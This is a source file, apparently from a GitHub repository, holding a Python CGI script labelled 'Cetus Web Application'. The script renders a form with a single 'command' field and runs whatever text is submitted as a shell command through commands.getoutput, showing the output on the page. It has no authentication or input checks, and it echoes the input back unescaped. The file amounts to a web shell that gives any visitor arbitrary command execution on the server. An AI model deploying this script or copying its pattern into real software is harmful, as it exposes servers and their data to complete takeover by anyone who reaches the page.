-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcommand.cgi
181 lines (143 loc) · 2.8 KB
/
command.cgi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/usr/bin/python
import cgi, string, sys, os, re, random, subprocess, commands
import cgitb; cgitb.enable() # for troubleshooting
import glob
import shutil
# Required header that tells the browser how to render the HTML.
print("Content-Type: text/html\n\n")
print """
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Cetus</title>
<style>
<!--
@charset "utf-8";
body {
background-color: #DEDECA;
}
body, td, th {
color: #666633;
}
h1, h2 {
color: #663300;
}
h3, h4, h5, h6 {
color: #996633;
}
a {
color: #996633;
}
.container {
width: 80%;
max-width: 1260px;
min-width: 780px;
background: #FFF;
margin: 0 auto;
}
.header {
background: #6F7D94;
}
.sidebar1 {
float: right;
width: 25%;
background: #background: #666633;;
padding-bottom: 10px;
}
.content {
padding: 10px 0;
width: 70%;
float: right;
}
.content ul, .content ol {
padding: 0 15px 15px 40px;
}
ul.nav {
list-style: none;
border-top: 1px solid #666;
margin-bottom: 15px;
}
ul.nav li {
border-bottom: 1px solid #666;
}
ul.nav a, ul.nav a:visited {
padding: 5px 5px 5px 15px;
display: block;
text-decoration: none;
background: #c0b895;
color: #663300;
}
ul.nav a:hover, ul.nav a:active, ul.nav a:focus {
background: #996633;
color: #FFF;
}
.header {
padding: 5px 0;
background: #c0b895;
}
.footer {
background: #c0b895;
position: relative;
clear: both;
}
.fltrt {
float: right;
margin-left: 8px;
}
.fltlft {
float: left;
margin-right: 8px;
}
.clearfloat {
clear:both;
height:0;
font-size: 1px;
line-height: 0px;
}
-->
</style></head>
<div class="container">
<div class="header">
<h1 align="center">Cetus Web Application</h1>
</div>
"""
def command_input():
html = """
<FORM ACTION="command.cgi" METHOD="POST" enctype="multipart/form-data">
command : <input type="text" name="command_in" />
<input type="submit" value="Submit" />
<input type="hidden" name="action" value="command_output">
</form>
"""
print(html)
def command_output(form):
command_in = form['command_in'].value
print(command_in)
html = """
<FORM ACTION="command.cgi" METHOD="POST" enctype="multipart/form-data">
command : <input type="text" name="command_in" />
<input type="submit" value="Submit" />
<input type="hidden" name="action" value="command_output">
</form>
"""
print(html)
print('<h3>runing command: '+command_in+'</h3><br>')
output = commands.getoutput(command_in)
print output.replace('\n','<br>')
print('</html>')
# Define main function.
def main():
#try:
form = cgi.FieldStorage()
if "action" in form:
action=form["action"].value
if action == "command_output":
command_output(form)
else:
command_input()
else:
command_input()
#except:
# login_form()
# print("Unexpected error:", sys.exc_info()[0])
# Call main function.
main()